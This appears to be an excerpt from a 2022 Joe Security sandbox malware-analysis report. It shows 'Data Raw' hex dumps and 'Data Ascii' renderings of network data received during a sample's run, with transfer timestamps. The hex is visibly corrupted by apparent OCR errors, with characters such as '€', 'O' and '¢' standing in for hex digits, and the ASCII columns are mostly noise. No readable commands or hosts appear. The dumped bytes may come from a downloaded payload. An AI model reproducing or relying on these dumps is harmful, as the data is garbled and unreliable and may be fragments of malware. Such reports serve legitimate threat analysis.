99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e €9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f ¢8 33 da fO
3905 1c 25 5e €9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc

Data Ascii: {fW\#%N5uf%}df-<w,.uhql5f?ddD-)e%d1d/64 %%filQfel 3f-\u,!}%%% %%heY%f5wi.fffswiefZuwfswiM
9%%%%39%M%%uuwy'%39%"-the%y%39%")the%M%

Data Raw: 65 29 64 20 21 Oe e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20
1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 Oe e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da Od 9d d8 da da
0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e €9 1d 2e 7b 32 9a 5d Ob 1c 25 66 22 2d 60 e5 99 79 66 55 Oe b6 66 65
29 64 20 21 0e e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 9
9 de da 30 1d 16 ce 5a Ob Oe e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d Oc da da da 0d 2d d8 da da 0d 32 d8 da da 3a
8336 34 3438 9e 2c 7b 32 €3 5d Ob 1c 25 68 58 €9 94 e6 25 25 25 ce 80 6a 0 7d Ob 1c 25 6a e0 79 Ob 1c 25 64 08 71
Ob 1c 25 64 f8 75 Ob 1c 25 7e 65 Ob 1c 25 64 f0 6d Ob 1c 25 68 28 e9

Data Ascii: e)d !108ae%UdE &d1f Ifi)d *X%0°Z44d59|:64480f".{2]%f"-"yfUfe)d |0ae%UdE?f If)d d:1"X%0Z44d59-2:6448,
{2]9%6hX%%%;}%jy%dq%du6~e%dm%h(

Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5¢ €9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66
a2 0d a9 23 da da c6 3a 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66
fd 60 b6 al ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49
29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d ee 29 25 25 5¢ €9 29 35 25 25 38 3a 83 36 9e 77 64 07
94 dc 25 25 25 0d d6 23 da da 7f 9e b5 Oc a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29
c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29
99 33 8b 16 6f 2b 99 €0 5e e7 2d c6 09 5e e7 27 5e e7 27

Data Ascii: |8)%.{20\)uNfd9If Zf#:h\%%XM{hil-fql)%%f hy!)ffQfffW)%%6{ffql) fyf X'ff)%%\)5%%8:6wd%%%# w_/_0_0'_o
~gggd#he% w/Eo'0)30+"-""

Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 el da da da 66 6f 21 ac c4 ea a9
8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c €9 29 15 da da 75 5e e9 21 66 cc 64 39
49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2
2525 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7
b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83
36 9e 66 e5 60 a4 ea a9 31 da da da 75 2c 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5
0Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29

Data Ascii: %%%u”)sP6he% fo!,wu0’L.{20\)urIfd9If Zf8h\%%XM{hil-fql) %%Af hyl) %% %Offf%%{ffql)ff X fD%%\)5%%8:
6f 1u,w #Wd"w/Eo'o)

Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29
0d 42 33 25 25 2a 5a ce c6 €8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da fO
3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb Oc e5 af 1c dc 68 al 2d 2f 66 4a 21 Oc e5 66 2a 1d 2c 66
222904 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 Oc a5 d4 e6 99 18 a5 d4 31 99
24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da
da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 ¢6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd
0d 2c da da da dd 35 25 25 25 c6 36 Oc a4 af 6f dc da 99 ec 27

Data Ascii: *Z8WO0ddS'd*Z8Af")B3%%*Zf") E%%*Z:6"=%%=%5".{20ddh-/fJ!f* f*)df")ff7//1$03%%%%%%'8:6fOU) %
%%Xf9U)%%%h9U,5%%%60'

Data Raw: 66 3d 60 b6 5a f6 60 b6 58 €2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 Oe da 5e
58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 7
99 e2 66 27 64 20 1d c6 e0 Oe e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e
20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 6
6 ae ea 8afb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66
20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66
20 0d 5e e5 2d Oe a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 Od

Data Ascii: f="Z"X)f 1f0>%%"X%"H)f f]*H)f e f f'fu+'f'd d fd f t)7~ -*X%-f A|Paf d ~X%f ~-fffOh fOf d >f -f >d dX8Xd8"X%Qf0f
A-ef ufolf7f
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 626 IN
2022-06-26 07:43:17 UTC 627 IN
2022-06-26 07:43:17 UTC 628 IN
2022-06-26 07:43:17 UTC 630 IN
2022-06-26 07:43:17 UTC 631 IN
2022-06-26 07:43:17 UTC 632 IN
2022-06-26 07:43:17 UTC 634 IN
2022-06-26 07:43:17 UTC 635 IN
2022-06-26 07:43:17 UTC 636 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba
23 dada 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d
€6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 Oe e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e
c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da
da 75 0d 2c df da da Oe b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 6
0 ba 23 dada 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23
da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da

Data Ascii: %%%h #%%\h uh u%%h #uf u'Gh uh u%%}e%f u’) % %44d522e%f u%%:f !uh'#uh uZu,#%%%%
X%P/X%%%%h #uhp#d (f ]Sh'# Ph'# %%%

Data Raw: 5e €9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f Oe €5 64 20 15 ¢4 e4 dc 25 25 a2 20 15 da da da
da Oe 5 Oe 1b 5e 58 21 25 ea a9 84 25 25 25 ¢4 a7 25 25 25 66 30 19 Oe a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e
fd 25 25 25 5e be 1a 1b 9¢ 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be €5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25
25 25 a5 07 1a 5¢ 07 da 25 25 25 9¢ be 2b 6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be 5 a5 d6 a5 ea 60 68 25 25 25 a5
07 1a 5¢ 07 da 25 25 25 9¢ bc 2b 8b €6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d
ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b
e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39

Data Ascii: A.{d(d0d I"X%P/d %% ~X1%%6%6%%%%6f01WKP-"%%6%6"E STOOWKF %%6%6P-"%%%\%%6%+f09WkKF h%%6%6\
%6%06+(1d9f0ld1geP-N )f mf0!)g%%"P-NgfO9WKUP-NE9f09

Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d
bd dadada 7c cl e5 1c 25 75 0d 38 da da da 7e 99 Ob 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c
25da 99 f8 7c cl e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31
252525 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 Ob 1c 2
57ccle51c25a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 dada da 7c cl e5 1c 25 75 0d f7 23 da da 60 e5 99
dc 9e 7c¢ 99 Ob 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31
dc 50 4f 75 77 eb €0 89 Ob 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f

Data Ascii: |%uh6f1%%% ~%)|%u8~%he%, 1%%% K"%|%u[d)*al%f)Iu1f1%%% "%|%u#%| %PKfQ%%%f)| You# | %

u# %% "X1POuw%f(-d%do

Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da Oe e5 30 8d 9f 42
65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b al 55 6b Oe da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d
d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb Oe e5 7f 34 34 89 64 35 8d
5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 7 da da c6 03 af 20
ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 Oe {7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 8
4 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 ¢6 61 84 25 25 25 a5 99 2d 5¢ ef a5 25 25 25 c6 08 5e
ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29

Data Ascii: d !f(f 1f%5e%f 0Be%UdE %fPks Ukf8!f ufug# Pf -d] "*)sP44d5\Be%bh f If(f%5e% fXfPf8f8)%%%%
)+H\%'%%%%%E %% %e % %% e Ea%%%-\%% %" 5% % %e % %%")

Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 cO
389e 30 66 11 Oe e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 Ob 1c 25 Oe e5 7f 34 34 89 64 35 8d b9 91 65 25 9e
c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 Ob 1c 25 dc 9e 8d Ob 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d Ob 1c 25
17 da 25 25 8d Ob 1c 25 ce da 25 25 8d Ob 1c 25 19 da 25 25 8d Ob 1c 25 dO da 25 25 8d Ob 1c 25 1b da 25 25 8d Ob 1c
25 d2 da 25 25 8d Ob 1c 25 1d da 25 25 8d Ob 1c 25 d4 da 25 25 8d Ob 1c 25 1f da 25 25 8d Ob 1c 25 d6 da 25 25 8d Ob
1c 25 21 da 25 25 8d Ob 1c 25 d8 da 25 25 8d Ob 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d Ob 1c 25 05 da 25 25 8d
0Ob 1c 25 be da 25 25 8d Ob 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d

Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e %8 % %% %% % % %% %% % %% % %% %% % % % %% %% %% % % %% %
9% %% %! %% %% % %#% %% % % % %% %% % % %% % %%

Data Raw: 25 25 25 25 25 f1 4c¢ 65 25 35 25 25 25 4d 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65
2559 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3¢ 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4¢ 65 25 d9
5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97
4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65
25 35 25 25 25 05 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 bl 59
65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25

Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Yek7 @< >@DIQe%%%%%%%%%%%%%%
9%%%%%% %% %%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%Y Ye%uYe%Ye% $ Ife%%%%%%%% %% %%
9%%%%% %% %% %% %% %% % %e%5%% %L e%[e%[e%[e%[e%[e%Y Ye%uYe%YeY%/ iDgT@Je%%%%% %%

Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e
99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59
59 65 25 7559 65 25 b1 59 65 25 e4 20 le 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65
25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3¢ 97 44 3¢ 93 99 20 97 97 4a 97 66 5 49 9d
65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: [e%[e%[e%[e%[e%Y Ye%uYe%Ye%3 .<>F*@JRRe%%%%%%%%% %% % % %% %% %% %
%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%Y YeYuYe%Ye% JIFRe%%%%%% % %%%%% % %%%%%
%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%Y YeYuYe%Ye% {<D< Jfle%%%%%%%%%%% %%
%%%%%%%%% %%

Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83
da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2
04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e Oc
e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da
da 75 8f 25 8d 25 29 25 25 0d 87 Ob da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2
da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f Ob da da 5e 0d 27 83 36 9e 2e 7b 6
6 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5

Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n"P {fffufufufu%%)%%"'6 {fffufufufu%)%%O"'6.{ffff 6

Data Raw: 9¢c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d Oa 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d
ab 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e
7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f
3a 83 36 9e 2e 7b 32 2¢ 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da
66 29 49 7f 32 83 36 9e 30 66 11 5e €9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1
d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c €9 d9

23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d

Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hil)u2{.'P)If)l:6 {2 fff%hil)u2{."P)If)1:60f"{fff -d f 1d !{h !uf u.td f
0!6448-%u0f\#.fh #ufkuM
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 638 IN
2022-06-26 07:43:17 UTC 639 IN
2022-06-26 07:43:17 UTC 640 IN
2022-06-26 07:43:17 UTC 642 IN
2022-06-26 07:43:17 UTC 643 IN
2022-06-26 07:43:17 UTC 644 IN
2022-06-26 07:43:17 UTC 646 IN
2022-06-26 07:43:17 UTC 647 IN
2022-06-26 07:43:17 UTC 648 IN

Copyright Joe Security LLC 2022

Data

Data Raw: Oc e5 64 20 21 de 28 35 64 58 1d Oc e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf
6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 €0 14 f3 99 01 d1
0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25
2564 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 Oc b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac Oc f7 ce c9
62 b4 04 ef 4e 29 dc ac Oc f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac Oc f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da
da 7f 34 66 50 fd c4 22 da da da Oc b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 {3
99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37

Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)"X%/wh
A4fP"a0GaUaRD/%%%QUUf -Z7

Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e
1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21
ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 bl 65 25 de 50 11 94 de 25 25 25 ce c9 c6 0
86850 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11
66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 bl 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65
2524 73 6b 73 1c 73 d1 2d €5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 9 Oc f7 16 28 31
5a f8 5e d4 d8 al 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2

Data Ascii: % %%%%%%%%Pf 1M"X'%%%"77%%%d 1u%%X5'f -uh 8'%%fX! Z%%"NN?d%%%h$e%P%%%hP855)R
1'%hAxe%8f8d 16:%%e%he%he%he%he%$skss-PUsX%((1Z"=Z2?Uc%_

Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd Oc
€576 b6 07 b4 48 1d 76 c6 7b d1 2d 5 99 29 61 45 99 d2 73 9e Oc €5 Oc 7 d1 51 5f 29 2f 4e ea ff €8 al 9c 1c 25 64 20
19 f 20 19 67 c6 0f 73 9e Oc €5 Oc 7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 7 2f dc e7 5¢
1f 19 dc 25 25 97 Of a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 cO 38 9e 30 66 11 5e €9 €5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d
68 20 e5 Oe a4 0d 5 d4 da da 66 ed 68 30 5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e €9 5 2e 66 fd 8f
25 8f 25 8f 25 68 30 2d 68 20 €5 8c dc 0d ¢5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 7 2d 25 b5 2e
7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb Oe a4 0d 9b 23

Data Ascii: 6P'%)Vo6P+)VHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3KFA\Y606P'6:f80f".1%6%6h0-h thOf1681%60f".%69606h0-h fhof6fs-
o {ffrf

Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc
bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38
9e 66 e5 30 66 11 5e €9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75
8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25
3066 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2
d 64 67 19 34 38 9e 66 €5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13
66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8

Data Ascii: f ?f0-fl#f(-h%ff -1#68fOf.ff -ufff468f0f . {fff -u)dP %d8 %h u%h 5%%%fh 46f8he%O0f,f -A1f5d0!'%f57f(-_,f% lef0-
dg48foff -%POf -fe-1-f -hmf -huf -"p#f -e

Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d Oa d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20
19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75
30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da
34 66 20 19 6d 5e 0d 27 97 29 99 3d ¢6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d
75 ea 92 20 15 66 29 60 d1 Ob 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 Ob 1c 25 0d 35
1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da
da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 {7

Data Ascii: %4%%040}4f -uOhOf 4f 4v%%0'404f -uOhOf #!4f P4%%040#4f m"')=Uf -u f04%%f -u f)" %04%%f -u

) %54%%04f mN/m$mHZ04f -u f04

Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 dO da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25
25 25 ea 7e €0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac
66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25
25 25 0d €3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da Oe e5 7f 34 34 89 64 35 8d 0 c7 65
25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75
25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5¢ €9 1d 23 da da 2e 7b 66 ff 66 15
0e e5 64 60 21 23 da da Oe 5 64 60 1d 23 da da 60 b6 99 €6

Data Ascii: f -U%606%%64@F+d F+96%%606~=96NF+k9606d+++]96f+96_ PF -Uf,0f 4F+]06;+7f -uh %%6%64+]%'f -#44d5e%h '
